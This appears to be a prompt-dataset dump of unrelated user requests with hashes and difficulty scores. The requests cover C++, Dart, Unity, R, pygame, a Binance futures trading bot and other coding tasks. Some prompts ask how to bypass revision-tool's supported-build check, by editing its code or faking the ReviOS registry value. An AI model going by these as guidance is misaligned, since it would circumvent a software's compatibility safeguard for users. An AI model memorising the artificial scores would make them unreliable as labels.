Node* root = nullptr;
void clear(Node* node) {
if (node) {
clear(node->left);
clear(node->right);
delete node;
}
}
void insert(int id) {
root = insert(root, id);
}
Node* insert(Node* node, int id) {
if (!node) return new Node(id);
if (id < node->id) {
node->left = insert(node->left, id);
} else if (id > node->id) {
node->right = insert(node->right, id);
}
return node;
}
void remove(int id) {
root = remove(root, id);
}
Node* remove(Node* node, int id) {
if (!node) return node;
if (id < node->id) {
node->left = remove(node->left, id);
} else if (id > node->id) {
node->right = remove(node->right, id);
} else {
if (!node->left && !node->right) {
delete node;
return nullptr;
}
if (!node->left) {
Node* temp = node->right;
delete node;
return temp;
}
if (!node->right) {
Node* temp = node->left;
delete node;
return temp;
}
Node* curr_par = node;
Node* curr = node->right;
while (curr->left) {
curr_par = curr;
curr = curr->left;
}
if (curr_par != node) {
curr_par->left = curr->right;
} else {
curr_par->right = curr->right;
}
node->id = curr->id;
delete curr;
}
return node;
}
void merge(BST& other) {
std::vector<int> arr;
inorder(root, arr);
inorder(other.root, arr);
for (int id : arr) {
std::cout << id << ' ';
}
std::cout << std::endl;
other.clear(other.root);
other.root = nullptr;
}
void inorder(Node* node, std::vector<int>& arr) {
if (!node) return;
inorder(node->left, arr);
arr.push_back(node->id);
inorder(node->right, arr);
}
};
int main() {
int n;
std::cin >> n;
BST acc1;
BST acc2;
for (int i = 0; i < n; ++i) {
std::string cmd;
std::cin >> cmd;
if (cmd == "buy") {
int account, id;
std::cin >> account >> id;
(account == 1 ? acc1 : acc2).insert(id);
} else if (cmd == "sell") {
int account, id;
std::cin >> account >> id;
(account == 1 ? acc1 : acc2).remove(id);
} else if (cmd == "merge") {
acc1.merge(acc2);
}
}
}
не должно быть одинаковых элементов ( set использовать строго запрещено и тп контейнеры(кроме вектора ничего нельзя))
|
df0b2baa34f9ee29a021ed0b3b92b841
|
{
"intermediate": 0.25715190172195435,
"beginner": 0.4572015702724457,
"expert": 0.2856465280056
}
|
32,958
|
i downloaded https://github.com/meetrevision/revision-tool but i get an error unsupported build detected. How do i bypass that check to see if I am running revios
|
d2b8398df2e604e1a88173038fc0d6db
|
{
"intermediate": 0.5009973645210266,
"beginner": 0.20252077281475067,
"expert": 0.2964818477630615
}
|
32,959
|
import 'dart:async';
import 'dart:io';
import 'package:fluent_ui/fluent_ui.dart';
import 'package:flutter_localizations/flutter_localizations.dart';
import 'package:mixin_logger/mixin_logger.dart';
import 'package:revitool/l10n/generated/localizations.dart';
import 'package:revitool/screens/home_page.dart';
import 'package:provider/provider.dart';
import 'package:revitool/theme.dart';
import 'package:revitool/utils.dart';
import 'package:system_theme/system_theme.dart';
import 'package:win32_registry/win32_registry.dart';
import 'package:window_plus/window_plus.dart';
import 'package:path/path.dart' as p;
Future<void> main() async {
await runZonedGuarded<Future<void>>(() async {
WidgetsFlutterBinding.ensureInitialized();
final path = p.join(Directory.systemTemp.path, 'Revision-Tool', 'Logs');
initLogger(path);
i('Revision Tool is starting');
if (registryUtilsService.readString(RegistryHive.localMachine,
r'SOFTWARE\Revision\Revision Tool', 'ThemeMode') ==
null) {
i('Creating Revision registry keys');
registryUtilsService.writeString(
Registry.localMachine,
r'SOFTWARE\Revision\Revision Tool',
'ThemeMode',
ThemeMode.system.name);
registryUtilsService.writeDword(Registry.localMachine,
r'SOFTWARE\Revision\Revision Tool', 'Experimental', 0);
registryUtilsService.writeString(Registry.localMachine,
r'SOFTWARE\Revision\Revision Tool', 'Language', 'en_US');
}
i('Initializing settings controller');
final settingsController = AppTheme(SettingsService());
await settingsController.loadSettings();
await SystemTheme.accentColor.load();
i('Initializing WindowPlus');
await WindowPlus.ensureInitialized(
application: 'revision-tool',
enableCustomFrame: true,
enableEventStreams: false,
);
await WindowPlus.instance.setMinimumSize(const Size(515, 330));
if (registryUtilsService.readString(
RegistryHive.localMachine,
r'SOFTWARE\Microsoft\Windows NT\CurrentVersion',
'EditionSubVersion') ==
'ReviOS' &&
buildNumber > 19043) {
i('isSupported is true');
_isSupported = true;
}
runApp(const MyApp());
}, (error, stackTrace) {
e('Error: \n$error\n$stackTrace\n\n');
});
}
bool _isSupported = false;
class MyApp extends StatelessWidget {
const MyApp({super.key});
@override
Widget build(BuildContext context) {
return ChangeNotifierProvider(
create: (_) => AppTheme(SettingsService()),
builder: (context, _) {
final appTheme = context.watch<AppTheme>();
return FluentApp(
title: 'Revision Tool',
debugShowCheckedModeBanner: false,
localizationsDelegates: const [
FluentLocalizations.delegate,
ReviLocalizations.delegate,
GlobalWidgetsLocalizations.delegate,
],
locale: Locale(appLanguage.split('_')[0], appLanguage.split('_')[1]),
supportedLocales: ReviLocalizations.supportedLocales,
themeMode: appTheme.themeMode,
color: appTheme.color,
darkTheme: FluentThemeData(
brightness: Brightness.dark,
accentColor: appTheme.color,
scaffoldBackgroundColor: const Color.fromARGB(255, 32, 32, 32),
cardColor: const Color.fromARGB(255, 43, 43, 43),
visualDensity: VisualDensity.standard,
focusTheme: FocusThemeData(
glowFactor: is10footScreen(context) ? 2.0 : 0.0,
),
resources: const ResourceDictionary.dark(
cardStrokeColorDefault: Color.fromARGB(255, 29, 29, 29),
),
),
theme: FluentThemeData(
accentColor: appTheme.color,
visualDensity: VisualDensity.standard,
scaffoldBackgroundColor: const Color.fromRGBO(243, 243, 243, 100),
cardColor: const Color.fromARGB(255, 251, 251, 251),
focusTheme: FocusThemeData(
glowFactor: is10footScreen(context) ? 2.0 : 0.0,
),
resources: const ResourceDictionary.light(
cardStrokeColorDefault: Color.fromARGB(255, 229, 229, 229))),
home: _isSupported ? const HomePage() : const _UnsupportedError(),
);
},
);
}
}
class _UnsupportedError extends StatelessWidget {
const _UnsupportedError();
@override
Widget build(BuildContext context) {
return ScaffoldPage(
content: ContentDialog(
title: const Text("Error"),
content: const Text("Unsupported build detected"),
actions: [
Button(
child: const Text('OK'),
onPressed: () {
WindowPlus.instance.close();
},
),
],
),
);
}
}
can you edit this so it bypasses the check to see if I am running a supported build
|
552f5e90ae67ff9d9716f1b3324b6795
|
{
"intermediate": 0.3114725649356842,
"beginner": 0.32534754276275635,
"expert": 0.36317989230155945
}
|
32,960
|
I am trying to build a dart program. how do i do it?
|
566a21306bba197ca6fe4c363e376bdf
|
{
"intermediate": 0.26631981134414673,
"beginner": 0.15972459316253662,
"expert": 0.5739555358886719
}
|
32,961
|
write me a python code that will plot a hysteresis loop from raw data
|
04202c979c0943d64bead49e3b71ec1b
|
{
"intermediate": 0.3375820517539978,
"beginner": 0.17934367060661316,
"expert": 0.48307421803474426
}
|
32,962
|
In linux I am using this command to generate the doxygen documentation on the fly and in a terminal:
doxygen -g - | doxygen -
Can you help me adding these extra things:
- Generate only html docs, skipping latex
- Put the output in docs folder
- Use as project name "My project name"
|
745b7cb9b813482ff07efdfb83d3e3da
|
{
"intermediate": 0.5695957541465759,
"beginner": 0.16632938385009766,
"expert": 0.2640748620033264
}
|
32,963
|
I am trying to recompile https://github.com/meetrevision/revision-tool using some edited code. It uses dart. How do i do that? i already have the sdk
|
bcb584bf440d1664b7f5d5f44b5cea4d
|
{
"intermediate": 0.4681456983089447,
"beginner": 0.23784230649471283,
"expert": 0.2940119504928589
}
|
32,964
|
I am trying to find the resolve the code that gives me the error: unsupported build detected
import 'dart:async';
import 'dart:io';
import 'package:fluent_ui/fluent_ui.dart';
import 'package:flutter_localizations/flutter_localizations.dart';
import 'package:mixin_logger/mixin_logger.dart';
import 'package:revitool/l10n/generated/localizations.dart';
import 'package:revitool/screens/home_page.dart';
import 'package:provider/provider.dart';
import 'package:revitool/theme.dart';
import 'package:revitool/utils.dart';
import 'package:system_theme/system_theme.dart';
import 'package:win32_registry/win32_registry.dart';
import 'package:window_plus/window_plus.dart';
import 'package:path/path.dart' as p;
Future<void> main() async {
await runZonedGuarded<Future<void>>(() async {
WidgetsFlutterBinding.ensureInitialized();
final path = p.join(Directory.systemTemp.path, 'Revision-Tool', 'Logs');
initLogger(path);
i('Revision Tool is starting');
if (registryUtilsService.readString(RegistryHive.localMachine,
r'SOFTWARE\Revision\Revision Tool', 'ThemeMode') ==
null) {
i('Creating Revision registry keys');
registryUtilsService.writeString(
Registry.localMachine,
r'SOFTWARE\Revision\Revision Tool',
'ThemeMode',
ThemeMode.system.name);
registryUtilsService.writeDword(Registry.localMachine,
r'SOFTWARE\Revision\Revision Tool', 'Experimental', 0);
registryUtilsService.writeString(Registry.localMachine,
r'SOFTWARE\Revision\Revision Tool', 'Language', 'en_US');
}
i('Initializing settings controller');
final settingsController = AppTheme(SettingsService());
await settingsController.loadSettings();
await SystemTheme.accentColor.load();
i('Initializing WindowPlus');
await WindowPlus.ensureInitialized(
application: 'revision-tool',
enableCustomFrame: true,
enableEventStreams: false,
);
await WindowPlus.instance.setMinimumSize(const Size(515, 330));
if (registryUtilsService.readString(
RegistryHive.localMachine,
r'SOFTWARE\Microsoft\Windows NT\CurrentVersion',
'EditionSubVersion') ==
'ReviOS' &&
buildNumber > 19043) {
i('isSupported is true');
_isSupported = true;
}
runApp(const MyApp());
}, (error, stackTrace) {
e('Error: \n$error\n$stackTrace\n\n');
});
}
bool _isSupported = false;
class MyApp extends StatelessWidget {
const MyApp({super.key});
@override
Widget build(BuildContext context) {
return ChangeNotifierProvider(
create: (_) => AppTheme(SettingsService()),
builder: (context, _) {
final appTheme = context.watch<AppTheme>();
return FluentApp(
title: 'Revision Tool',
debugShowCheckedModeBanner: false,
localizationsDelegates: const [
FluentLocalizations.delegate,
ReviLocalizations.delegate,
GlobalWidgetsLocalizations.delegate,
],
locale: Locale(appLanguage.split('_')[0], appLanguage.split('_')[1]),
supportedLocales: ReviLocalizations.supportedLocales,
themeMode: appTheme.themeMode,
color: appTheme.color,
darkTheme: FluentThemeData(
brightness: Brightness.dark,
accentColor: appTheme.color,
scaffoldBackgroundColor: const Color.fromARGB(255, 32, 32, 32),
cardColor: const Color.fromARGB(255, 43, 43, 43),
visualDensity: VisualDensity.standard,
focusTheme: FocusThemeData(
glowFactor: is10footScreen(context) ? 2.0 : 0.0,
),
resources: const ResourceDictionary.dark(
cardStrokeColorDefault: Color.fromARGB(255, 29, 29, 29),
),
),
theme: FluentThemeData(
accentColor: appTheme.color,
visualDensity: VisualDensity.standard,
scaffoldBackgroundColor: const Color.fromRGBO(243, 243, 243, 100),
cardColor: const Color.fromARGB(255, 251, 251, 251),
focusTheme: FocusThemeData(
glowFactor: is10footScreen(context) ? 2.0 : 0.0,
),
resources: const ResourceDictionary.light(
cardStrokeColorDefault: Color.fromARGB(255, 229, 229, 229))),
home: _isSupported ? const HomePage() : const _UnsupportedError(),
);
},
);
}
}
class _UnsupportedError extends StatelessWidget {
const _UnsupportedError();
@override
Widget build(BuildContext context) {
return ScaffoldPage(
content: ContentDialog(
title: const Text("Error"),
content: const Text("Unsupported build detected"),
actions: [
Button(
child: const Text('OK'),
onPressed: () {
WindowPlus.instance.close();
},
),
],
),
);
}
}
|
ccead2095e6a745ed0dd1728898a3117
|
{
"intermediate": 0.3344474732875824,
"beginner": 0.3211447596549988,
"expert": 0.3444077968597412
}
|
32,965
|
How do i bypass this code with a reg tweak:
if (registryUtilsService.readString(
RegistryHive.localMachine,
r'SOFTWARE\Microsoft\Windows NT\CurrentVersion',
'EditionSubVersion') ==
'ReviOS' &&
buildNumber > 19043) {
i('isSupported is true');
_isSupported = true;
}
|
9ac80c89e95e680c667c7a3024151a39
|
{
"intermediate": 0.49185729026794434,
"beginner": 0.3303145170211792,
"expert": 0.17782819271087646
}
|
32,966
|
How do i turn indexing on
|
5f97b6dceadbd7fdce73481b6bc1956c
|
{
"intermediate": 0.27993565797805786,
"beginner": 0.2023053914308548,
"expert": 0.5177589654922485
}
|
32,967
|
i am having a problem where the arrow does not shoot correctly when instantiated. However, it shoots perfectly fine if the bow is manually placed into the scene
|
5c757d33c61792d3d732f52a700c99cc
|
{
"intermediate": 0.37855058908462524,
"beginner": 0.30529966950416565,
"expert": 0.31614968180656433
}
|
32,968
|
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.SceneManagement;
public class Chest : MonoBehaviour
{
public float delayTime = 5f;
public GameObject bowPrefab;
public GameObject pistolPrefab;
public GameObject healthPickupPrefab;
private void OnTriggerEnter2D(Collider2D collision)
{
if (collision.CompareTag("Player"))
{
// Generate a random number (between 0 and 1) to determine if the weapon spawns or not
float randomValue = Random.value;
if (SceneManager.GetActiveScene().buildIndex == 0)
{
if (randomValue <= 0.5f)
{
// Spawn a bow
GameObject bow = Instantiate(bowPrefab, collision.transform);
bow.transform.localPosition = new Vector3(-0.25f, -0.25f, 0f);
bow.transform.localRotation = Quaternion.identity;
}
}
else if (SceneManager.GetActiveScene().buildIndex == 1)
{
if (randomValue <= 0.5f)
{
// Spawn a pistol
GameObject pistol = Instantiate(pistolPrefab, collision.transform);
pistol.transform.localPosition = new Vector3(-0.47f, -0.09f, 0f);
pistol.transform.localRotation = Quaternion.identity;
}
}
// Generate a random number (between 0 and 1) to determine if a health pickup spawns or not
float randomValue2 = Random.value;
if (randomValue2 <= 0.3f)
{
// Spawn a HealthPickup
GameObject healthPickup = Instantiate(healthPickupPrefab);
healthPickup.transform.localPosition = transform.position;
healthPickup.transform.localRotation = Quaternion.identity;
}
// Disable the chest to prevent spawning multiple weapons
gameObject.SetActive(false);
// Enable the chest after a delay
Invoke("EnableChest", delayTime);
}
}
private void EnableChest()
{
gameObject.SetActive(true);
}
}
make it so instead of spawning the bow, set to active
|
b2f5f301576a3f9de19c141a6d1064b0
|
{
"intermediate": 0.30027374625205994,
"beginner": 0.5502495765686035,
"expert": 0.14947664737701416
}
|
32,969
|
Hi
|
9a1a9ebfe932e91e1ed4fe6e74ebb673
|
{
"intermediate": 0.33010533452033997,
"beginner": 0.26984941959381104,
"expert": 0.400045245885849
}
|
32,970
|
I have this code:
active_signal = None
orderId = None
clientOrderId = None
buy_entry_price = None
sell_entry_price = None
orderId = None
order = None
def calculate_percentage_difference_buy(entry_price, exit_price):
result = exit_price - entry_price
price_result = entry_price / 100
final_result = result / price_result
result = final_result * 40
return result
def calculate_percentage_difference_sell(sell_entry_price, sell_exit_price):
percentage_difference = sell_entry_price - sell_exit_price
price_result = sell_entry_price / 100 # price result = 1%
price_percent_difference = percentage_difference / price_result
result = price_percent_difference * 40
return result
while True:
if df is not None:
# Get balance function
balance = client.balance()
#Get USDT balance function
for asset in balance:
if asset['asset'] == 'USDT':
balance_usdt = float(asset['balance'])
balance_usdt_futures = balance_usdt * 40
#Constant
price_bch = mark_price
dollars = balance_usdt_futures
#Counting Balance : BCH price
bch_amount = dollars / price_bch
bch_amount_rounded = round(bch_amount, 2)
quantity = bch_amount_rounded / 2
signals = signal_generator(df)
mark_price_data = client.ticker_price(symbol=symbol)
mark_price = float(mark_price_data['price']) if 'price' in mark_price_data else 0.0
if signals == ['buy'] or signals == ['sell']:
print(f"The signal time is: {dt.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}, Price {mark_price} - Signals: {signals}")
if 'buy' in signals and active_signal != 'buy':
try:
active_signal = 'buy'
buy_entry_price = mark_price
client.new_order(symbol=symbol, side='BUY', type='MARKET', quantity=quantity)
client.new_order(symbol=symbol, side='BUY', type='MARKET', quantity=quantity)
print(f"Long order executed!")
except binance.error.ClientError as e:
print(f"Error executing long order: ")
if sell_entry_price is not None and buy_entry_price is not None:
sell_exit_price = mark_price
difference_sell = calculate_percentage_difference_sell(sell_entry_price, sell_exit_price)
profit_sell = difference_sell
total_profit_sell = profit_sell
profit_sell_percent = total_profit_sell - 4
print(f"sell entry price {sell_entry_price}, sell exit price {sell_exit_price} , Sell P&L: {round(total_profit_sell, 2)}% with fee {round(profit_sell_percent, 2)}%")
else:
print("Sell Entry price or Buy Entry price is not defined.")
israel = []
if signals == ['buy_exit']:
active_signal = None
israel.append("Long !!! EXIT !!!")
if buy_entry_price is not None and israel is not None:
buy_exit_price = mark_price
difference_buy = calculate_percentage_difference_buy(buy_entry_price, buy_exit_price)
profit_buy = difference_buy
total_profit_buy = profit_buy
profit_buy_percent = total_profit_buy - 4
try:
client.cancel_open_orders(symbol=symbol)
client.new_order(symbol=symbol, side='SELL', type='MARKET', quantity=quantity)
except binance.error.ClientError as e:
print(f"Long position successfully exited! ")
print(" !!! EXIT !!! ")
print(f"Time was : {dt.datetime.now().strftime('%Y-%m-%d %H:%M:%S')} buy entry price {buy_entry_price}, buy exit price: {mark_price}, Buy P&L: {round(total_profit_buy, 2)}% with fee {round(profit_buy_percent, 2)}%")
buy_entry_price = None
buy_exit_price = None
else:
print("Buy Entry price or Sell Entry price is not defined.") # Print israel when condition is met
else:
israel.append('')
elif 'sell' in signals and active_signal != 'sell':
try:
active_signal = 'sell'
sell_entry_price = mark_price # Record the sell entry price
print(f"Sell Entry Price: {sell_entry_price}")
client.new_order(symbol=symbol, side='SELL', type='MARKET', quantity=quantity)
client.new_order(symbol=symbol, side='SELL', type='MARKET', quantity=quantity)
print("Short order executed!")
except binance.error.ClientError as e:
print(f"Error executing short order: ")
if buy_entry_price is not None and sell_entry_price is not None:
buy_exit_price = mark_price
difference_buy = calculate_percentage_difference_buy(buy_entry_price, buy_exit_price)
profit_buy = difference_buy
total_profit_buy = profit_buy
profit_buy_percent = total_profit_buy - 4
print(f"buy entry price {buy_entry_price}, buy exit price: {sell_entry_price}, Buy P&L: {round(total_profit_buy, 2)}% with fee {round(profit_buy_percent, 2)}%")
else:
print("Buy Entry price or Sell Entry price is not defined.")
jerusalem = []
if signals == ['sell_exit']:
active_signal = None
jerusalem.append("Short !!! EXIT !!!")
if sell_entry_price is not None and jerusalem is not None:
sell_exit_price = mark_price
difference_sell = calculate_percentage_difference_buy(sell_entry_price, sell_exit_price)
profit_sell = difference_sell
total_profit_sell = profit_sell
profit_sell_percent = total_profit_sell - 4
try:
client.new_order(symbol=symbol, side='BUY', type='MARKET', quantity=quantity)
except binance.error.ClientError as e:
print(f"Short position successfully exited!")
print(" !!! EXIT !!! ")
print(f"Time was : {dt.datetime.now().strftime('%Y-%m-%d %H:%M:%S')} sell entry price {sell_entry_price}, sell exit price: {mark_price}, Sell P&L: {round(total_profit_sell, 2)}% with fee {round(profit_sell_percent, 2)}%")
sell_entry_price = None
sell_exit_price = None
else:
print("Buy Entry price or Sell Entry price is not defined.") # Print israel when condition is met
else:
jerusalem.append('')
time.sleep(1)
|
daa2d851bcad4478f9cad0bfebeae1f1
|
{
"intermediate": 0.3521760106086731,
"beginner": 0.4439643323421478,
"expert": 0.20385971665382385
}
|
32,971
|
in c++ i'm adding 10 to a value every frame. how can i smoothly lower that amount (10) as it approaches 160
|
766b7b6b02dfb96f53f3de28ac9cbc2d
|
{
"intermediate": 0.42898669838905334,
"beginner": 0.18108487129211426,
"expert": 0.38992840051651
}
|
32,972
|
I have a c++ compiled executable and I want to use it golang as a cgo wrapper
|
9f25d75baa494d9f5e134170bac3b349
|
{
"intermediate": 0.5320749282836914,
"beginner": 0.19255496561527252,
"expert": 0.2753700613975525
}
|
32,973
|
import {
generateRandomNumber
} from "../../utils/numbers.js";
import {
fetchTime
} from "../../utils/customConsole.js";
import Config from "./Config.js";
import { HealthComponent, MovementComponent } from "./components/Components.js";
import { EventEmitter } from 'events';
const eventEmitter = new EventEmitter();
class Entity {
constructor(type, uid, x, y) {
this.type = type;
this.uid = Number(uid);
this.x = Number(x);
this.y = Number(y);
this.entityValues = {
isDead: false
}
this.components = {};
}
addComponent(componentName, component) {
this.components[componentName] = component;
}
removeComponent(componentName) {
delete this.components[componentName];
}
}
class PlayerEntity extends Entity {
constructor(uid, x, y) {
super('player', uid, x, y);
this.addComponent('health', new HealthComponent(100, this));
this.addComponent('movement', new MovementComponent(this));
}
}
class ZombieEntity extends Entity {
constructor(uid, x, y, health) {
super('zombie', uid, x, y);
this.addComponent('health', new HealthComponent(health));
}
}
class World {
constructor() {
this.worldX = 100;
this.worldY = 100;
this.entities = [];
this.randomMove = null;
if (Config.debug == true) {
eventEmitter.on('entityChange', (newEntities) => {
console.log('Entities have been updated at', fetchTime());
});
}
}
addEntity(entity) {
this.entities.push(entity);
eventEmitter.emit('entityChange', this.entities);
}
spawnPlayer(uid) {
const player = new PlayerEntity(uid, generateRandomNumber(2), generateRandomNumber(2));
this.addEntity(player);
}
movePlayer(uid, direction) {
const player = this.entities.find(entity => entity instanceof PlayerEntity && entity.uid === uid)
switch (direction) {
case 'up':
player.components.movement.moveEntity(0, 1);
break;
case 'down':
player.components.movement.moveEntity(0, -1);
break;
case 'left':
player.components.movement.moveEntity(-1, 0);
break;
case 'right':
player.components.movement.moveEntity(1, 0);
break;
case 'test':
player.components.movement.moveEntity(1, 1);
console.log(player.x, player.y)
break;
}
}
playerUpdateHealth(uid, type, amount) {
const player = this.entities.find(entity => entity instanceof PlayerEntity && entity.uid === uid)
switch (type) {
case 'decreaseHealth':
player.components.health.decreaseHealth(amount);
this.checkState(player);
break;
case 'increaseHealth':
player.components.health.increaseHealth(amount);
break;
}
}
checkState(player) {
if (player.entityValues.isDead == true) {
console.log('Player is dead!');
}
}
}
const world = new World();
export default world;
Optimize and improve this code
|
24516c58897792605c63c299013b4197
|
{
"intermediate": 0.38338717818260193,
"beginner": 0.4448769688606262,
"expert": 0.171735942363739
}
|
32,974
|
pairewise avac ggplot(Pla, aes(x = (Test), y = Poids, fill = Jour)) +
geom_boxplot() +
labs(title = "Comparaison Poids pour Abricot à J3,J7", x = "Substrat", y = "Poids") +
scale_fill_manual(values = c(J3="blue",J7="red")) +
theme_minimal() +
scale_y_continuous(trans = 'log10')
|
55995239caedd5e9ac5525eee6dd6b5e
|
{
"intermediate": 0.3518866002559662,
"beginner": 0.2855030298233032,
"expert": 0.3626103103160858
}
|
32,975
|
ggplot(Pla, aes(x = (Test), y = Poids, fill = Jour)) +
geom_boxplot() +
labs(title = "Comparaison Poids pour Abricot à J3,J7", x = "Substrat", y = "Poids") +
scale_fill_manual(values = c(J3="blue",J7="red")) +
theme_minimal() +
scale_y_continuous(trans = 'log10') ajout p value wilcoxon
|
3303d17b51487cf224f2275c5db3b249
|
{
"intermediate": 0.32596638798713684,
"beginner": 0.3087243139743805,
"expert": 0.3653092682361603
}
|
32,976
|
Could you write me roblox code that makes a shop once you click a certain block
|
57f10b62710c54686e6c67038455dfb4
|
{
"intermediate": 0.5326075553894043,
"beginner": 0.1864359825849533,
"expert": 0.2809564471244812
}
|
32,977
|
could not find `EnvFilter` in `tracing_subscriber`
|
80f079017f5a56318be943741b262dfc
|
{
"intermediate": 0.3714604079723358,
"beginner": 0.3489992618560791,
"expert": 0.2795403003692627
}
|
32,978
|
join in python on two different columns
|
f7eeee5775400d260f4b5ecdf42103ac
|
{
"intermediate": 0.3069477677345276,
"beginner": 0.26674750447273254,
"expert": 0.42630475759506226
}
|
32,979
|
https://kittycad.io/
|
ed4aba2f913b9c737eb28eb0cada9b36
|
{
"intermediate": 0.32269904017448425,
"beginner": 0.21600280702114105,
"expert": 0.4612981677055359
}
|
32,980
|
how to use this class :
package com.salesforce.dataconnectors.test.endpoint.api;
import static org.assertj.core.api.Assertions.assertThat;
import static org.junit.jupiter.api.Assertions.assertEquals;
import com.salesforce.atf.testclient.extensions.app.DynamicKeyStoreFactoryExtension;
import com.salesforce.atf.testclient.extensions.context.TestRunContextExtension;
import com.salesforce.cdp.api.dataconnectors.ApiException;
import com.salesforce.cdp.model.dataconnectors.ExtractDataRequestBody;
import com.salesforce.cdp.model.dataconnectors.TestConnectionRequestBody;
import com.salesforce.dataconnectors.test.DataConnectorsFitTestManager;
import com.salesforce.dataconnectors.test.TestConstants;
import com.salesforce.dataconnectors.test.endpoint.DataConnectorsEndpointFitTestManager;
import com.salesforce.dataconnectors.test.tags.Functional;
import com.salesforce.dataconnectors.test.tags.Smoke;
import com.salesforce.fit.ServiceValidation;
import java.util.Arrays;
import lombok.extern.slf4j.Slf4j;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.springframework.context.annotation.ComponentScan;
@Slf4j
@ComponentScan("com.salesforce.cdp")
@ServiceValidation(DataConnectorsFitTestManager.DATA_CONNECTORS_APP)
@ExtendWith({TestRunContextExtension.class, DynamicKeyStoreFactoryExtension.class})
@Functional
public class DataConnectorsHttpTest extends DataConnectorsEndpointFitTestManager {
private TestConnectionRequestBody requestBody;
private ExtractDataRequestBody extractDataRequestBody;
protected final String httpUrlConnectorKey = "url.connector";
@Override
protected void initTest() throws Exception {
super.initTest();
requestBody = new TestConnectionRequestBody();
requestBody.setConnectionAttributes(connectionAttributes);
requestBody.setCredentialAttributes(credentialAttributes);
extractDataRequestBody = new ExtractDataRequestBody();
extractDataRequestBody.setConnectionAttributes(connectionAttributes);
extractDataRequestBody.setCredentialAttributes(credentialAttributes);
extractDataRequestBody.setAdvancedAttributes(advancedAttributes);
extractDataRequestBody.setInternalS3BucketDetail(internalS3BucketDetail);
extractDataRequestBody.setFieldList(Arrays.asList("street", "city"));
}
@Test
@Smoke
public void testDataConnectorsSftp() throws Exception {
// retry one-off network failures when connecting to source
for (int retryCount = 1; retryCount <= 3; retryCount++) {
try {
var response =
dataConnectorsHttpClient
.client(httpUrlConnectorKey, true, cdpTenantId, coreTenantId)
.testConnectionWithHttpInfo("SFTP", requestBody);
assertEquals(200, response.getStatusCode());
return;
} catch (ApiException e) {
log.error(
String.format(
"Test testDataConnectorsSftp failed [%s] times, error code: [%s], response body: [%s], response headers: [%s], cause: [%s]",
retryCount,
e.getCode(),
e.getResponseBody(),
e.getResponseHeaders(),
e.getCause()));
if (retryCount == 3) {
throw e;
} else {
Thread.sleep(TestConstants.RETRY_DELAY);
}
}
}
}
@Test
@Smoke
public void testDataConnectorsExtractDataSftp() throws Exception {
// retry one-off network failures when connecting to source
for (int retryCount = 1; retryCount <= 3; retryCount++) {
try {
var response =
dataConnectorsHttpClient
.client(httpUrlConnectorKey, true, cdpTenantId, coreTenantId)
.extractDataWithHttpInfo("SFTP", "Root.csv", extractDataRequestBody);
assertEquals(200, response.getStatusCode());
return;
} catch (ApiException e) {
log.error(
String.format(
"Test testDataConnectorsExtractDataSftp failed [%s] times, error code: [%s], response body: [%s], response headers: [%s], cause: [%s]",
retryCount,
e.getCode(),
e.getResponseBody(),
e.getResponseHeaders(),
e.getCause()));
if (retryCount == 3) {
throw e;
} else {
Thread.sleep(TestConstants.RETRY_DELAY);
}
}
}
}
@Test
@Smoke
public void testDataConnectorsSftpNoJwt() {
// Note that this test will fail in local dev mode because JWT validation is not required
// locally and this test will not throw the expected exception
Exception expectedException = null;
try {
dataConnectorsHttpClient
.client(httpUrlConnectorKey, false, cdpTenantId, coreTenantId)
.testConnectionWithHttpInfo("SFTP", requestBody);
} catch (Exception e) {
expectedException = e;
}
assertThat(expectedException).isNotNull();
assertThat(expectedException).isInstanceOf(ApiException.class);
}
}
to write a similar test "testDataConnectorsExtractDataSftp()" for
public void validateAttributes(WdcOperationType WDCOperationType, Map<String, String> attributes)
throws ConnectorException {
switch (WDCOperationType) {
case TEST_CONNECTION:
case GET_OBJECTS:
case GET_FIELDS:
case EXTRACT_DATA:
case PREVIEW:
case IS_OBJECT_VALID:
if (attributes == null
|| !attributes.containsKey(WdcConstant.DOMAIN_URL)
|| !attributes.containsKey(WdcConstant.CLIENT_ID)
|| !attributes.containsKey(WdcConstant.CLIENT_SECRET)) {
throw new ConnectorException(
String.valueOf(WdcErrorCode.MISSING_REQUIRED_PROPERTIES), ExceptionCategory.USER);
}
break;
default:
throw new ConnectorException(
String.valueOf(WdcErrorCode.FUNCTION_NOT_SUPPORTED), ExceptionCategory.UNIMPLEMENTED);
}
}
|
5abdb70d7f19402265ff5ce514fe464e
|
{
"intermediate": 0.3540017604827881,
"beginner": 0.4718475043773651,
"expert": 0.17415082454681396
}
|
32,981
|
write a batch script that uses poppler to convert all the pages of the pdf to a png sequence
|
b6af3ebc42019d82eb1c1d8cb37084b3
|
{
"intermediate": 0.43890708684921265,
"beginner": 0.17096279561519623,
"expert": 0.39013010263442993
}
|
32,982
|
help with the code to plot this dataframe:
yld yll
nin 8118.250734 16847.144409
ado 6991.70782 11028.762359
jov 15081.616039 20274.684193
adu 30488.567085 36428.563661
vie 14667.731443 20022.35421
as a stacked barplot
|
26401004d34c29ec5b369b4279a91f34
|
{
"intermediate": 0.3897494077682495,
"beginner": 0.3400302529335022,
"expert": 0.27022042870521545
}
|
32,983
|
Create a basic pygame script where you move around a block. It should have gravity and a ground to stand on.
|
d5a49a283b8b8c39fae897b9c4eba29e
|
{
"intermediate": 0.36636796593666077,
"beginner": 0.2851373851299286,
"expert": 0.34849461913108826
}
|
32,984
|
Can you make for me item.properties by this example?:
entity.2000=creeper zombie skeleton spider cave_spider enderman drowned elder_guardian ghast guardian husk magma_cube phantom pillager ravager shulker silverfish slime wither vindication_illager witch wither_skeleton zombie_villager
entity.2001=player
|
b0a82c1fa49583418ccef9305b304420
|
{
"intermediate": 0.30231165885925293,
"beginner": 0.4660528600215912,
"expert": 0.2316354364156723
}
|
32,985
|
Переведи из matlab в python
function mydiffusion(m,n_x,n_t)
% Для запуска файла необходимо набрать в командном окне: >>
mydiffusion(0,100,100)
close all
xmesh = linspace(0,1, n_x);
tspan = linspace(0,0.4, n_t);
sol = pdepe(m,@mypde,@mydif_ic,@mydif_bc,xmesh,tspan);
u = sol(:,:,1);
[X,T] = meshgrid(xmesh,tspan);
figure
mesh(X,T,u)
xlabel('Координата'),ylabel('Время'), zlabel('Концентрация')
title('Концентрация вещества, как функция координаты и времени')
figure
c = contour(X,u,T,[0.001 0.005 0.05]);
clabel(c)
xlabel('Координата'), ylabel('Концентрация')
title('Концентрация как функция координаты в отдельные моменты
времени')
grid
%Функция задания параметров дифференциального уравнения
